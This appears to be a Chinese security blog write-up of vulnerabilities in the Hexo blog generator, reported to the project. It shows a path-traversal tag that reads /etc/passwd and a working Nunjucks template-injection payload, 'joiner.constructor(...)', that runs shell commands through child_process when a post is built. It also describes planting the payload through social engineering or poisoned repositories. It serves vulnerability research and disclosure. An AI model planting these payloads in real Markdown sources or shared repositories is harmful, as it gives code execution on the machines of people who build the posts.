漏洞在2023.1.31发现并已提交给官方
Hexo一款博客系统,根据Markdown生成静态网页,我自己和我认识的很多师傅的博客都是用的hexo。
在一次偶然的SSTI相关文章的生成过程中,我发现他报了一个标签的错:
578 | <p>但是,黑名单过滤了`{{`
===== Context Dump Ends =====
at formatNunjucksError (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:171:13)
at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:246:36
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:725:18)
at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
at Async.drainQueues [as _onImmediate] (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
at process.processImmediate (node:internal/timers:471:21) {
line: 578,
location: '\x1B[35m_posts/****.md\x1B[39m [Line 578, Column 18]',
type: 'expected variable end'
}
} Something's wrong. Maybe you can find the solution here: %s https://hexo.io/docs/troubleshooting.html
说明hexo在根据Markdown文章生成静态页面时不单单做了Markdown的解析,还有标签的解析,那么是否存在安全风险呢?假设存在模板注入漏洞,攻击者就可以通过社工等手段诱导victim去渲染包含恶意代码的post/page的md源文件,或者做投毒,完成攻击的实施。
PS:本文只作为安全研究和学习交流之用,切勿用于非法用途,所发现的安全风险已全部通过相应渠道同步给了Hexo官方。
先翻下他的官方文档
标签插件和 Front-matter 中的标签不同,它们是用于在文章中快速插入特定内容的插件。 虽然你可以使用任何格式书写你的文章,但是标签插件永远可用,且语法也都是一致的。 标签插件不应该被包裹在 Markdown 语法中,例如: 是不被支持的。
说白了就是自定义一些标签来扩展markdown,当然也有一些标签功能是和Markdown重叠的,感觉有点多此一举,而且没有通用性,所以这应该是用得不多的原因。
注意到有个include code
标签,是用来插入代码文件中的代码的:
看一下源码,path从标签中直接匹配出来,然后没有做任何安全检查就做了路径拼接和文件读取:
---
title: test
date: 2023-01-31 14:30:55
tags:
---
include_code:
{% include_code ../../../../../../../etc/passwd %}
我最开始简单看了下代码发现有很多地方包含swig
关键字,猜测大概是使用了swig模板引擎,之前正好是挖过swig,有任意读和RCE
分析文章: Swig模板引擎0day挖掘-代码执行和文件读取
但是发现用不了:
Template render error: (unknown path)
Error: template not found: ../../../../../../../etc/passwd
at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)
...
后来查了一下,hexo从5.0开始移除了对swig模板的支持,那就没法用了。不过在报错中有这样一句话很关键:
at eval (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:11:11)
是从nunjucks
包中执行的,一个很蛋疼的事情是,我当时并不知道nunjucks
实际上是一个模板引擎,以为是hexo实现的什么东西,于是决定尝试挖一挖。参考Hexo 如何在VS Code中调试Hexo的相关代码文章在项目中创建如下.vscode/launch.json
,然后按F5即可启动调试。
// launch.json
{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Debug Hexo Deploy Direct",
"cwd": "${workspaceFolder}",
"runtimeArgs": [
"--nolazy" // 强制V8引擎完成代码的编译工作,这在远程调试时比较有用,可选
],
"program": "./node_modules/hexo-cli/bin/hexo",
"args": [
"deploy",
"--debug" //设置Hexo的 log基本,以便输出更多的日志内容
],
"console": "internalConsole",
"outputCapture": "std"
}
]
}
对include_code
asset_img
之类的挖了挖,XSS没考虑(没有意义),没挖到什么也没审出来什么有意思的点。
一筹莫展之际想到了最开始的报错,是{{`报错,于是随便试了一个`{{123}}
发现果然能行
于是我用swig
的payload故技重施:
{{ Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}
但是报错了
Template render error: (unknown path)
Error: Unable to call `Object["constructor"]`, which is undefined or falsey
at Object._prettifyError (/path/to/myblog/node_modules/nunjucks/src/lib.js:36:11)
at /path/to/myblog/node_modules/nunjucks/src/environment.js:563:19
at Template.root [as rootRenderFunc] (eval at _compile (/path/to/myblog/node_modules/nunjucks/src/environment.js:636:18), <anonymous>:18:3)
at Template.render (/path/to/myblog/node_modules/nunjucks/src/environment.js:552:10)
at Environment.renderString (/path/to/myblog/node_modules/nunjucks/src/environment.js:380:17)
at /path/to/myblog/node_modules/hexo/lib/extend/tag.js:238:16
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise.fromNode.Promise.fromCallback (/path/to/myblog/node_modules/bluebird/js/release/promise.js:209:30)
at Tag.render (/path/to/myblog/node_modules/hexo/lib/extend/tag.js:237:20)
at Object.onRenderEnd (/path/to/myblog/node_modules/hexo/lib/hexo/post.js:426:22)
at /path/to/myblog/node_modules/hexo/lib/hexo/render.js:85:21
at tryCatcher (/path/to/myblog/node_modules/bluebird/js/release/util.js:16:23)
at Promise._settlePromiseFromHandler (/path/to/myblog/node_modules/bluebird/js/release/promise.js:547:31)
at Promise._settlePromise (/path/to/myblog/node_modules/bluebird/js/release/promise.js:604:18)
at Promise._settlePromise0 (/path/to/myblog/node_modules/bluebird/js/release/promise.js:649:10)
at Promise._settlePromises (/path/to/myblog/node_modules/bluebird/js/release/promise.js:729:18)
at _drainQueueStep (/path/to/myblog/node_modules/bluebird/js/release/async.js:93:12)
at _drainQueue (/path/to/myblog/node_modules/bluebird/js/release/async.js:86:9)
at Async._drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:102:5)
at Async.drainQueues (/path/to/myblog/node_modules/bluebird/js/release/async.js:15:14)
at process.processImmediate (node:internal/timers:471:21)
Debug分析下,首先走到Environment.renderString()
,调用Template.render()
渲染模板
之后Template.render()
会调用继续调用到Template._compile()
方法,再走到compiler.compile()
进行模板编译,为了方便调试这里我每次都手工把编译好后的函数写入到一个文件里
实际的编译过程比较繁琐:
c.compile(transformer.transform(parser.parse(processedSrc, extensions, opts), asyncFilters, name));
return c.getCode();
_proto.compile = function compile(node, frame) {
var _compile = this['compile' + node.typename];
if (_compile) {
_compile.call(this, node, frame);
} else {
this.fail("compile: Cannot compile node: " + node.typename, node.lineno, node.colno);
}
};
大概的意思是先做标签解析、语义分析,然后会调用compileXXXX()
做代码的拼接,这里根据语义分析的不同而不同,比如函数就调用compileFunCall()
这里的意思是,调用的函数不能全局任意调用,而是需要去context
和frame
中去lookup
找相应的方法来调用,这里的查找、调用等就用到runtime
下的一些方法。这中间的分析跟一遍就好了,就是反复调用不知道怎么来描述,但是也不重要,我们直接回到Template._compile
看最后编译完的source
function root(env, context, frame, runtime, cb) {
var lineno = 0;
var colno = 0;
var output = "";
try {
var parentTemplate = null;
output += runtime.suppressValue((lineno = 0, colno = 106, runtime.callWrap((lineno = 0, colno = 21, runtime.callWrap(runtime.memberLookup((runtime.contextOrFrameLookup(context, frame, "Object")),"constructor"), "Object[\"constructor\"]", context, ["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"])), "the return value of (Object[\"constructor\"])", context, [])), env.opts.autoescape);
output += "\n";
if(parentTemplate) {
parentTemplate.rootRenderFunc(env, context, frame, runtime, cb);
} else {
cb(null, output);
}
;
} catch (e) {
cb(runtime.handleError(e, lineno, colno));
}
}
return {
root: root
};
之后就是用上述source
创建匿名函数并调用,直接调用会返回{"root": root}
给props
,于是641行的this.rootRenderFunc = props.root
就是上面source
里定义的function root(env, context, frame, runtime, cb)
接着回到最初,Debug开始有提到说:
首先走到
Environment.renderString()
,调用Template.render()
渲染模板。之后Template.render()
会调用继续调用到Template._compile()
方法。
现在Template._compile()
就正式编译完成了,所以回到Template.render()
接着走,会调用this.rootRenderFunc
,也就是刚刚source
里调用的root()
了
接着我们来分析这个编译好的root()
,最核心的就是中间这一块比较难懂
整理一下,然后由内向外执行
runtime.suppressValue(
(
lineno = 0,
colno = 106,
runtime.callWrap(
(
lineno = 0,
colno = 21,
runtime.callWrap(
runtime.memberLookup(
(
runtime.contextOrFrameLookup(context, frame, "Object")
),
"constructor"
),
"Object[\"constructor\"]",
context,
["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
)
),
"the return value of (Object[\"constructor\"])",
context,
[]
)
),
env.opts.autoescape
)
调试下可以发现runtime
实际就是runtime.js
定义的,比较简单:
function callWrap(obj, name, context, args) {
// 函数调用,调obj()函数,context作为属性,args是方法的数组
if (!obj) {
throw new Error('Unable to call `' + name + '`, which is undefined or falsey');
} else if (typeof obj !== 'function') {
throw new Error('Unable to call `' + name + '`, which is not a function');
}
return obj.apply(context, args);
}
function contextOrFrameLookup(context, frame, name) {
// 查找frame和contenxt下的name
var val = frame.lookup(name);
return val !== undefined ? val : context.lookup(name);
}
function memberLookup(obj, val) {
// 判断obj是否有val,若有且未函数,则会调用
if (obj === undefined || obj === null) {
return undefined;
}
if (typeof obj[val] === 'function') {
return function () {
for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
args[_key2] = arguments[_key2];
}
return obj[val].apply(obj, args);
};
}
return obj[val];
}
整个函数的逻辑是这样的:
所以很明显,我们目前出错就出在了最里面第一步的runtime.contextOrFrameLookup(context, frame, "Object")
,因为contenxt
和frame
下都没有Object()
。
了解了报错原因和最里层的原理,我们要做的只是去frame
或context
下找到一个函数,该函数的constructor
为Function()
,之后我们就可以来创建&调用任意函数了
首先的frame.lookup
会找当前及父frame的variables
,可惜什么都没找到
接着看下context.lookup()
,它会优先找context
下的方法,如果没有则去this.env.globals
下找
在env.globals
下面顺利的找到了3个函数:
于是payload就可以成功构造了。
hexo创建一个文章
---
title: test
date: 2023-01-31 14:30:55
tags:
---
{{ joiner.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() }}
生成的root
函数的最核心部分:
runtime.callWrap(
(
lineno = 0,
colno = 21,
runtime.callWrap(
runtime.memberLookup(
(
runtime.contextOrFrameLookup(context, frame, "joiner")
),
"constructor"
),
"joiner[\"constructor\"]",
context,
["global.process.mainModule.require('child_process').exec('open -a Calculator.app')"]
)
),
"the return value of (joiner[\"constructor\"])",
context,
[]
)
hexo generate
或 hexo deploy
或 hexo server
都可以触发
禁用prototype
__proto__
constructor
属性的调用。
后面去提漏洞才发现nunjucks
是独立的模板引擎,和Hexo没有什么直接关系,而且在2016的一篇文章中就已经提出了这个payload,挖重复了就很蛋疼。看了看nunjucks
的文档,它是一款类jinja2
的模板,所以可能这个RCE的PoC也不会被修复而是被认为是正常特性,但是对于Hexo来讲还是有意义的。
因为Hexo生成的博客都是纯静态的,漏洞只发生在本地构建的过程中,风险整体可控,但仍有攻击面:
1.通过社工等手段,让受害者导入危险的md格式文章源文件,构建hexo时受到攻击。
2.做投毒:目前有很多开源的利用hexo
gitbook
等构建的wiki、漏洞库等,并且在github也收获了很多star,若投毒则用户克隆下来并本地构建时便会受到攻击。
3.很多机器人、水军站点会自动化爬取网络上的文章,转发到自己的站点上,那么它爬了我的有攻击payload的文章再本地生成则会收到影响。